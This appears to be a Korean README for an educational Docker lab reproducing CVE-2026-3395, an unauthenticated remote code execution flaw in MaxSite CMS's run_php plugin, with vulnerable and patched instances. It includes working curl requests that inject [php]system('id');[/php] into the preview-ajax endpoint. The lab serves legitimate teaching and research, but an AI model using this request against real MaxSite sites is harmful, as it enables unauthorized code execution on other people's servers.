
교육용 Docker 랩으로, MaxSite CMS의 run_php 플러그인을 통한 인증 없는 RCE 취약점인 CVE-2026-3395를 시연합니다. 취약한 환경과 패치된 환경을 모두 제공하여 안전한 재현 및 분석이 가능합니다.
이 저장소는 교육 및 연구 목적으로만 제공됩니다. 모든 테스트는 로컬 Docker 실습 환경에서만 수행해야 합니다. 이 구성을 공개 또는 운영 환경에 배포하지 마십시오.
CVE-2026-3395는 MaxSite CMS에 영향을 미치며 인증 없이 관리자 AJAX 엔드포인트에 접근할 수 있게 합니다. run_php 플러그인이 활성화되면 CMS 훅 시스템을 통해 사용자 입력이 PHP 코드로 평가될 수 있으며, 이로 인해 원격 코드 실행(RCE)이 발생할 수 있습니다.
이 저장소에는 다음이 포함됩니다:
취약한 엔드포인트는 다음 위치에 있습니다:
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
취약한 버전에서:
POST data)은 mso_hook()을 통해 전달됩니다run_php 플러그인은 [php]...[/php] 블록을 처리합니다eval()을 사용하여 포함된 코드를 평가합니다run_php가 활성화되면 인증 없는 원격 코드 실행이 발생합니다.
패치된 버전은 다음을 추가합니다:
if (!is_login()) die('no login');
mso_checkreferer();
이로 인해 인증된 사용자만 접근할 수 있게 제한됩니다.
이 실습 환경은 두 가지 환경을 구축합니다:
| 환경 | 포트 |
|---|---|
| 취약 버전 | 8081 |
| 패치 버전 | 8082 |
docker compose up -d --build
이 명령은:
run_php를 활성화합니다브라우저에서 다음을 엽니다:
http://localhost:8081 (취약 버전)
http://localhost:8082 (패치 버전)
두 인스턴스 모두 정상적으로 로드되어야 합니다.

AJAX 라우트는 base64로 인코딩된 경로를 사용합니다.
다음의 Base64:
admin/plugins/editor_markitup/preview-ajax.php
는 다음과 같습니다:
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
예상 결과:
no login

컨테이너를 중지하려면:
docker compose down -v
이 프로젝트는 연구 및 학습 목적으로만 격리된 환경에서 사용하십시오.